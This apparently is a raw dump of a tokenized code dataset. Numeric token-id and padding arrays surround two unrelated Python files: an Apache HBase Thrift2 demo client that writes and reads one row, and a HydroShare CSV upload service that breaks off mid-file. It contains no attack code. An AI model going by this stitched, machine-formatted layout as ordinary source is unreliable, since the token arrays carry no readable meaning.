[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
StackVista/hbase
hbase-examples/src/main/python/thrift2/DemoClient.py
31
2493
""" Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ # Instructions: # 1. Run Thrift to generate the python module hbase # thrift --gen py ../../../../../hbase-server/src/main/resources/org/apache/hadoop \ # /hbase/thrift2/hbase.thrift # 2. Create a directory of your choosing that contains: # a. This file (DemoClient.py). # b. The directory gen-py/hbase (generated by instruction step 1). # 3. pip install thrift==0.9.0 # 4. Create a table call "example", with a family called "family1" using the hbase shell. # 5. Start the hbase thrift2 server # bin/hbase thrift2 start # 6. Execute {python DemoClient.py}. import sys import os import time from thrift.transport import TTransport from thrift.transport import TSocket from thrift.transport import THttpClient from thrift.protocol import TBinaryProtocol # Add path for local "gen-py/hbase" for the pre-generated module gen_py_path = os.path.abspath('gen-py') sys.path.append(gen_py_path) from hbase import THBaseService from hbase.ttypes import * print "Thrift2 Demo" print "This demo assumes you have a table called \"example\" with a column family called \"family1\"" host = "localhost" port = 9090 framed = False socket = TSocket.TSocket(host, port) if framed: transport = TTransport.TFramedTransport(socket) else: transport = TTransport.TBufferedTransport(socket) protocol = TBinaryProtocol.TBinaryProtocol(transport) client = THBaseService.Client(protocol) transport.open() table = "example" put = TPut(row="row1", columnValues=[TColumnValue(family="family1",qualifier="qualifier1",value="value1")]) print "Putting:", put client.put(table, put) get = TGet(row="row1") print "Getting:", get result = client.get(table, get) print "Result:", result transport.close()
apache-2.0
[ 624, 819, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 523, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 523, 1854, 543, 642, 1736, 367, 4722, 2556, 523, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 523, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 523, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 523, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 10813, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 819, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 523, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 523, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 523, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 523, 4204, 1334, 314, 844, 14, 199, 624, 199, 3, 1010, 10583, 26, 199, 3, 413, 14, 3378, 3868, 6501, 370, 3550, 314, 2366, 859, 394, 1095, 199, 3, 259, 17199, 1553, 2268, 1134, 24272, 9707, 9707, 72, 1095, 13, 1000, 15, 2164, 15, 973, 15, 4435, 15, 1308, 15, 3796, 15, 15449, 971, 199, 3, 420, 1182, 72, 1095, 15, 8430, 18, 15, 72, 1095, 14, 8430, 199, 3, 499, 14, 2790, 282, 2082, 402, 2195, 2468, 26056, 626, 3509, 26, 199, 3, 258, 282, 14, 961, 570, 334, 21493, 3041, 14, 647, 680, 199, 3, 258, 330, 14, 710, 2082, 3805, 13, 647, 15, 72, 1095, 334, 10176, 701, 16329, 3650, 413, 680, 199, 3, 650, 14, 7305, 3907, 17199, 389, 16, 14, 25, 14, 16, 199, 3, 841, 14, 2790, 282, 1817, 1240, 298, 2694, 401, 543, 282, 9614, 2797, 298, 6606, 17, 2, 1808, 314, 394, 1095, 5218, 14, 199, 3, 959, 14, 7707, 314, 394, 1095, 17199, 18, 1654, 199, 3, 259, 2517, 15, 72, 1095, 17199, 18, 1343, 199, 3, 1227, 14, 17009, 469, 1548, 28939, 3041, 14, 647, 5565, 199, 199, 646, 984, 199, 646, 747, 199, 646, 900, 199, 199, 504, 17199, 14, 5545, 492, 19391, 199, 504, 17199, 14, 5545, 492, 377, 3869, 199, 504, 17199, 14, 5545, 492, 4221, 3370, 3041, 199, 504, 17199, 14, 3922, 492, 15934, 199, 199, 3, 2654, 931, 367, 2257, 298, 2268, 13, 647, 15, 72, 1095, 2, 367, 314, 876, 13, 10176, 859, 199, 2268, 63, 647, 63, 515, 275, 747, 14, 515, 14, 4832, 360, 2268, 13, 647, 358, 199, 1274, 14, 515, 14, 740, 8, 2268, 63, 647, 63, 515, 9, 199, 504, 394, 1095, 492, 4221, 1563, 3167, 199, 504, 394, 1095, 14, 21776, 492, 627, 199, 199, 1361, 298, 2719, 6501, 18, 28939, 2, 199, 1361, 298, 2765, 14779, 15194, 1265, 1172, 282, 1817, 2797, 8441, 2694, 4451, 543, 282, 2763, 9614, 2797, 8441, 6606, 17, 18781, 199, 199, 1102, 275, 298, 5967, 2, 199, 719, 275, 1749, 18526, 199, 1943, 68, 275, 756, 199, 199, 3450, 275, 377, 3869, 14, 52, 3869, 8, 1102, 12, 1844, 9, 199, 692, 2787, 68, 26, 523, 7773, 275, 19391, 14, 52, 3160, 68, 7836, 8, 3450, 9, 199, 2836, 26, 523, 7773, 275, 19391, 14, 52, 23139, 7836, 8, 3450, 9, 199, 3922, 275, 15934, 14, 16805, 8, 5545, 9, 199, 1258, 275, 4221, 1563, 3167, 14, 3041, 8, 3922, 9, 199, 199, 5545, 14, 1490, 342, 199, 199, 1224, 275, 298, 2694, 2, 199, 199, 524, 275, 377, 18989, 8, 1143, 628, 1143, 17, 401, 2763, 6550, 1524, 52, 4547, 1110, 8, 6606, 628, 6606, 17, 401, 27005, 628, 27005, 17, 401, 585, 628, 585, 17, 13403, 199, 1361, 298, 18989, 1337, 6783, 5324, 199, 1258, 14, 524, 8, 1224, 12, 5324, 9, 199, 199, 362, 275, 377, 1002, 8, 1143, 628, 1143, 17, 531, 199, 1361, 298, 28277, 6783, 664, 199, 1099, 275, 1890, 14, 362, 8, 1224, 12, 664, 9, 199, 199, 1361, 298, 2889, 6783, 754, 199, 199, 5545, 14, 1600, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 819, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 523, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 523, 1854, 543, 642, 1736, 367, 4722, 2556, 523, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 523, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 523, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 523, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 10813, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 819, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 523, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 523, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 523, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 523, 4204, 1334, 314, 844, 14, 199, 624, 199, 3, 1010, 10583, 26, 199, 3, 413, 14, 3378, 3868, 6501, 370, 3550, 314, 2366, 859, 394, 1095, 199, 3, 259, 17199, 1553, 2268, 1134, 24272, 9707, 9707, 72, 1095, 13, 1000, 15, 2164, 15, 973, 15, 4435, 15, 1308, 15, 3796, 15, 15449, 971, 199, 3, 420, 1182, 72, 1095, 15, 8430, 18, 15, 72, 1095, 14, 8430, 199, 3, 499, 14, 2790, 282, 2082, 402, 2195, 2468, 26056, 626, 3509, 26, 199, 3, 258, 282, 14, 961, 570, 334, 21493, 3041, 14, 647, 680, 199, 3, 258, 330, 14, 710, 2082, 3805, 13, 647, 15, 72, 1095, 334, 10176, 701, 16329, 3650, 413, 680, 199, 3, 650, 14, 7305, 3907, 17199, 389, 16, 14, 25, 14, 16, 199, 3, 841, 14, 2790, 282, 1817, 1240, 298, 2694, 401, 543, 282, 9614, 2797, 298, 6606, 17, 2, 1808, 314, 394, 1095, 5218, 14, 199, 3, 959, 14, 7707, 314, 394, 1095, 17199, 18, 1654, 199, 3, 259, 2517, 15, 72, 1095, 17199, 18, 1343, 199, 3, 1227, 14, 17009, 469, 1548, 28939, 3041, 14, 647, 5565, 199, 199, 646, 984, 199, 646, 747, 199, 646, 900, 199, 199, 504, 17199, 14, 5545, 492, 19391, 199, 504, 17199, 14, 5545, 492, 377, 3869, 199, 504, 17199, 14, 5545, 492, 4221, 3370, 3041, 199, 504, 17199, 14, 3922, 492, 15934, 199, 199, 3, 2654, 931, 367, 2257, 298, 2268, 13, 647, 15, 72, 1095, 2, 367, 314, 876, 13, 10176, 859, 199, 2268, 63, 647, 63, 515, 275, 747, 14, 515, 14, 4832, 360, 2268, 13, 647, 358, 199, 1274, 14, 515, 14, 740, 8, 2268, 63, 647, 63, 515, 9, 199, 504, 394, 1095, 492, 4221, 1563, 3167, 199, 504, 394, 1095, 14, 21776, 492, 627, 199, 199, 1361, 298, 2719, 6501, 18, 28939, 2, 199, 1361, 298, 2765, 14779, 15194, 1265, 1172, 282, 1817, 2797, 8441, 2694, 4451, 543, 282, 2763, 9614, 2797, 8441, 6606, 17, 18781, 199, 199, 1102, 275, 298, 5967, 2, 199, 719, 275, 1749, 18526, 199, 1943, 68, 275, 756, 199, 199, 3450, 275, 377, 3869, 14, 52, 3869, 8, 1102, 12, 1844, 9, 199, 692, 2787, 68, 26, 523, 7773, 275, 19391, 14, 52, 3160, 68, 7836, 8, 3450, 9, 199, 2836, 26, 523, 7773, 275, 19391, 14, 52, 23139, 7836, 8, 3450, 9, 199, 3922, 275, 15934, 14, 16805, 8, 5545, 9, 199, 1258, 275, 4221, 1563, 3167, 14, 3041, 8, 3922, 9, 199, 199, 5545, 14, 1490, 342, 199, 199, 1224, 275, 298, 2694, 2, 199, 199, 524, 275, 377, 18989, 8, 1143, 628, 1143, 17, 401, 2763, 6550, 1524, 52, 4547, 1110, 8, 6606, 628, 6606, 17, 401, 27005, 628, 27005, 17, 401, 585, 628, 585, 17, 13403, 199, 1361, 298, 18989, 1337, 6783, 5324, 199, 1258, 14, 524, 8, 1224, 12, 5324, 9, 199, 199, 362, 275, 377, 1002, 8, 1143, 628, 1143, 17, 531, 199, 1361, 298, 28277, 6783, 664, 199, 1099, 275, 1890, 14, 362, 8, 1224, 12, 664, 9, 199, 199, 1361, 298, 2889, 6783, 754, 199, 199, 5545, 14, 1600, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1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src/Utilities/H2OServices.py
1
19597
import datetime from exceptions import IOError from threading import Thread import jsonpickle import sys from wx.lib.pubsub import pub # from pubsub import pub from GAMUTRawData.odmservices import ServiceManager from H2OSeries import OdmSeriesHelper from Common import APP_SETTINGS, InitializeDirectories from Utilities.DatasetUtilities import BuildCsvFile, GetSeriesYearRange, H2OManagedResource, OdmDatasetConnection from Utilities.HydroShareUtility import HydroShareAccountDetails, HydroShareUtility, ResourceTemplate __title__ = 'H2O Service' class H2OService: class StopThreadException(Exception): def __init__(self, args): super(H2OService.StopThreadException, self).__init__(args) GUI_PUBLICATIONS = { 'logger': lambda message: {'message': message}, 'Operations_Stopped': lambda message: {'message': message}, 'Datasets_Completed': lambda completed, total: {'completed': completed, 'total': total}, 'File_Failed': lambda filename, message: {'filename': filename, 'message': message}, 'Dataset_Started': lambda resource, done, total: {'started': ((done * 100) / total) - 1, 'resource': resource}, 'Dataset_Generated': lambda resource, done, total: {'completed': ((done * 100) / total) - 1, 'resource': resource}, 'Files_Uploaded': lambda resource, done, total: {'started': ((done * 100) / total) - 1, 'resource': resource}, 'Uploads_Completed': lambda resource, done, total: {'completed': ((done * 100) / total) - 1, 'resource': resource} } def __init__(self, hydroshare_connections=None, odm_connections=None, resource_templates=None, subscriptions=None, managed_resources=None): self.HydroShareConnections = hydroshare_connections if hydroshare_connections is not None else {} # type: dict[str, HydroShareAccountDetails] self.DatabaseConnections = odm_connections if odm_connections is not None else {} # type: dict[str, OdmDatasetConnection] self.ResourceTemplates = resource_templates if resource_templates is not None else {} # type: dict[str, ResourceTemplate] self.ManagedResources = managed_resources if managed_resources is not None else {} # type: dict[str, H2OManagedResource] self.Subscriptions = subscriptions if subscriptions is not None else [] # type: list[str] InitializeDirectories([APP_SETTINGS.DATASET_DIR, APP_SETTINGS.LOGFILE_DIR]) sys.stdout = H2OLogger(log_to_gui='logger' in self.Subscriptions) self.ThreadedFunction = None # type: Thread self.StopThread = False self.ActiveHydroshare = None # type: HydroShareUtility self.csv_indexes = ["LocalDateTime", "UTCOffset", "DateTimeUTC"] self.qualifier_columns = ["QualifierID", "QualifierCode", "QualifierDescription"] self.csv_columns = ["DataValue", "LocalDateTime", "UTCOffset", "DateTimeUTC"] def RunTests(self): dataset_count = len(self.ManagedResources) current_dataset = 0 resource_names = [] hs_account = None # type: HydroShareAccount for resource in self.ManagedResources.values(): if APP_SETTINGS.SKIP_HYDROSHARE: continue print('Uploading files to resource {}'.format(resource.resource.title)) try: if hs_account is None or hs_account.name != resource.hs_account_name: print('Connecting to HydroShare account {}'.format(resource.hs_account_name)) try: account = self.HydroShareConnections[resource.hs_account_name] self.ActiveHydroshare = HydroShareUtility() self.ActiveHydroshare.authenticate(**account.to_dict()) connection_message = 'Successfully authenticated HydroShare account details' except Exception as e: connection_message = 'Unable to authenticate - An exception occurred: {}'.format(e) finally: print(connection_message) resource_files = self.ActiveHydroshare.getResourceFileList(resource.resource_id) print('Resource {} has {} files:'.format(resource.resource.title, len(resource_files))) for res_file in resource_files: print(res_file) resource_names.append(resource.resource.title) current_dataset += 1 self.NotifyVisualH2O('Files_Uploaded', resource.resource.title, current_dataset, dataset_count) except H2OService.StopThreadException as e: print('File upload stopped: {}'.format(e)) break except Exception as e: print(e) self.NotifyVisualH2O('Uploads_Completed', resource_names, current_dataset, dataset_count) def _thread_checkpoint(self): if self.StopThread: raise H2OService.StopThreadException(("Thread stopped by user",)) else: return True def _generate_datasets(self, resource=None): dataset_count = len(self.ManagedResources) current_dataset = 0 odm_service = ServiceManager() database_resource_dict = {} if resource is not None: database_resource_dict[resource.odm_db_name] = [resource] else: for rsrc in self.ManagedResources.itervalues(): if not rsrc.odm_db_name: continue if rsrc.odm_db_name.lower() == 'no saved connections': continue if rsrc.odm_db_name not in database_resource_dict: database_resource_dict[rsrc.odm_db_name] = [] database_resource_dict[rsrc.odm_db_name].append(rsrc) for db_dame in database_resource_dict.keys(): self._thread_checkpoint() conn = self.DatabaseConnections.get(db_dame, None) if conn is not None: odm_service._current_connection = conn.ToDict() else: continue series_service = odm_service.get_series_service() for rsrc in database_resource_dict[db_dame]: # Reset the associated files so they don't keep getting uploaded over, and over, and over, and over, and over, and... rsrc.associated_files = [] try: self._thread_checkpoint() if rsrc.resource is None: print('Error encountered: resource {} is missing values'.format(rsrc.resource_id)) continue current_dataset += 1 self.NotifyVisualH2O('Dataset_Started', rsrc.resource.title, current_dataset, dataset_count) self._thread_checkpoint() chunks = OdmSeriesHelper.DetermineForcedSeriesChunking(rsrc) print('\n -- {} has {} chunks {}'.format(rsrc.resource.title, len(chunks), 'per year' if rsrc.chunk_years else '')) for chunk in chunks: self._thread_checkpoint() failed_files = [] odm_series_list = [] for h2o_series in chunk: result_series = series_service.get_series_from_filter(h2o_series.SiteID, h2o_series.VariableID, h2o_series.QualityControlLevelID, h2o_series.SourceID, h2o_series.MethodID) if result_series is None: msg = 'Error: Unable to fetch ODM series {} from database {}'.format( h2o_series, db_dame) self.NotifyVisualH2O('Operations_Stopped', msg) else: odm_series_list.append(result_series) if rsrc.chunk_years: for year in GetSeriesYearRange(odm_series_list): self._thread_checkpoint() result_file = BuildCsvFile(series_service, odm_series_list, year, failed_files) if result_file is not None: rsrc.associated_files.append(result_file) else: self._thread_checkpoint() result_file = BuildCsvFile(series_service, odm_series_list, failed_files=failed_files) if result_file is not None: rsrc.associated_files.append(result_file) for filename, message in failed_files: self.NotifyVisualH2O('File_Failed', filename, message) self.NotifyVisualH2O('Dataset_Generated', rsrc.resource.title, current_dataset, dataset_count) return dataset_count except H2OService.StopThreadException as e: print('Dataset generation stopped: {}'.format(e)) return 0 except Exception as e: self.NotifyVisualH2O('Operations_Stopped', 'Exception encountered while generating datasets:\n{}'.format(e)) return 0 print('Dataset generation completed without error') self.NotifyVisualH2O('Datasets_Completed', current_dataset, dataset_count) def _upload_files(self, resource=None): dataset_count = len(self.ManagedResources) current_dataset = 0 resource_names = [] if resource is not None: resources = [resource] else: resources = self.ManagedResources.values() for resource in resources: self._thread_checkpoint() if APP_SETTINGS.SKIP_HYDROSHARE: continue if not len(resource.associated_files): # If there are no files to upload, continue continue print('Uploading files to resource {}'.format(resource.resource.title)) try: if self.ActiveHydroshare is None or 'None' != resource.hs_account_name: print('Connecting to HydroShare account {}'.format(resource.hs_account_name)) self.ConnectToHydroShareAccount(resource.hs_account_name) if APP_SETTINGS.H2O_DEBUG: resource_files = self.ActiveHydroshare.getResourceFileList(resource.resource_id) print('Resource {} has {} files:'.format(resource.resource.title, len(resource_files))) for res_file in resource_files: print(res_file) self._thread_checkpoint() response = self.ActiveHydroshare.updateResourceMetadata(resource.resource) if APP_SETTINGS.VERBOSE and APP_SETTINGS.H2O_DEBUG: print(response) self._thread_checkpoint() if APP_SETTINGS.DELETE_RESOURCE_FILES: self.ActiveHydroshare.deleteFilesInResource(resource.resource_id) self.ActiveHydroshare.UploadFiles(resource.associated_files, resource.resource) if APP_SETTINGS.SET_RESOURCES_PUBLIC: self.ActiveHydroshare.setResourcesAsPublic([resource.resource_id]) resource_names.append(resource.resource.title) current_dataset += 1 self.NotifyVisualH2O('Files_Uploaded', resource.resource.title, current_dataset, dataset_count) except H2OService.StopThreadException as e: print('File upload stopped: {}'.format(e)) break except Exception as e: print(e) self.NotifyVisualH2O('Uploads_Completed', resource_names, current_dataset, dataset_count) def ConnectToHydroShareAccount(self, account_name): connection_message = 'Unable to authenticate HydroShare account - please check your credentials' connected = False try: account = self.HydroShareConnections[account_name] self.ActiveHydroshare = HydroShareUtility() if self.ActiveHydroshare.authenticate(**account.to_dict()): connection_message = 'Successfully authenticated HydroShare account details' connected = True except Exception as e: connection_message = 'Unable to authenticate - An exception occurred: {}'.format(e) self.NotifyVisualH2O('logger', 'H2OService: ' + str(connection_message)) return connected def FetchResources(self): try: resources = self.ActiveHydroshare.getAllResources() return resources except Exception as e: connection_message = 'Unable to fetch resources - An exception occurred: {}'.format(e) self.NotifyVisualH2O('logger', 'H2OService: ' + str(connection_message)) return None def StopActions(self): if self.ThreadedFunction is not None: self.StopThread = True self.ThreadedFunction.join(3) else: self.NotifyVisualH2O('Operations_Stopped', 'Script was not running') def _start_as_thread(self, thread_func, resource=None): if self.ThreadedFunction is not None and self.ThreadedFunction.is_alive(): self.ThreadedFunction.join(3) self.StopThread = False self.ThreadedFunction = Thread(target=thread_func, kwargs={'resource': resource}) self.ThreadedFunction.start() def _threaded_operations(self, resource=None): # type: (H2OManagedResource) -> None try: print('Generating CSV file(s)') dataset_count = self._generate_datasets(resource=resource) # If the dataset count is not 0, attempt to upload the files. if dataset_count: print('\nStarting CSV file upload') self._upload_files(resource=resource) self.NotifyVisualH2O('Operations_Stopped', 'CSV file upload complete') else: self.NotifyVisualH2O('Operations_Stopped', 'No datasets found for the selected series.') except H2OService.StopThreadException as e: print('File generation and uploads stopped: {}'.format(e)) self.NotifyVisualH2O('Operations_Stopped', 'Script stopped by user') def StartSeriesFileUpload(self, resource, blocking=False): # type: (H2OManagedResource, bool) -> any self.StartOperations(resource=resource, blocking=blocking) def StartOperations(self, resource=None, blocking=False): # type: (H2OManagedResource, bool) -> any if blocking: return self._threaded_operations(resource) else: return self._start_as_thread(self._threaded_operations, resource) def NotifyVisualH2O(self, pub_key, *args): try: if not APP_SETTINGS.GUI_MODE and pub_key in H2OService.GUI_PUBLICATIONS.keys(): print('No subscriber for message: {}'.format(H2OService.GUI_PUBLICATIONS[pub_key](*args))) elif pub_key in self.Subscriptions and pub_key in H2OService.GUI_PUBLICATIONS.keys(): result = H2OService.GUI_PUBLICATIONS[pub_key](*args) pub.sendMessage(pub_key, **result) else: print('No destination for message: {}'.format(H2OService.GUI_PUBLICATIONS[pub_key](*args))) print('GUI Mode: {}'.format(APP_SETTINGS.GUI_MODE)) print('Pub Key: {}; Exists: {}'.format(pub_key, pub_key in H2OService.GUI_PUBLICATIONS.keys())) except Exception as e: print('{} Exception: {}\nUnknown key {} or invalid args {}'.format(type(e), e, pub_key, args)) def to_json(self): return {'odm_connections': self.DatabaseConnections, 'hydroshare_connections': self.HydroShareConnections, 'resource_templates': self.ResourceTemplates, 'managed_resources': self.ManagedResources} def SaveData(self, output_file=None): if output_file is None: output_file = APP_SETTINGS.SETTINGS_FILE_NAME try: data = jsonpickle.encode(self.to_json()) with open(output_file, 'w') as fout: fout.write(data) print('Dataset information successfully saved to {}'.format(output_file)) return True except IOError as e: print('Error saving to disk - file name {}\n{}'.format(output_file, e)) return False def LoadData(self, input_file=None): if input_file is None: input_file = APP_SETTINGS.SETTINGS_FILE_NAME try: with open(input_file, 'r') as fin: data = jsonpickle.decode(fin.read()) if data is not None: self.HydroShareConnections = data.get('hydroshare_connections', {}) self.DatabaseConnections = data.get('odm_connections', {}) self.ResourceTemplates = data.get('resource_templates', {}) self.ManagedResources = data.get('managed_resources', {}) print('Dataset information loaded from {}'.format(input_file)) return data except IOError: json_out = open(input_file, 'w') json_out.write(jsonpickle.encode(self.to_json())) json_out.close() print('Settings file does not exist - creating: {}'.format(input_file)) return None def CreateResourceFromTemplate(self, template): """ :type template: ResourceTemplate """ print('Creating resource 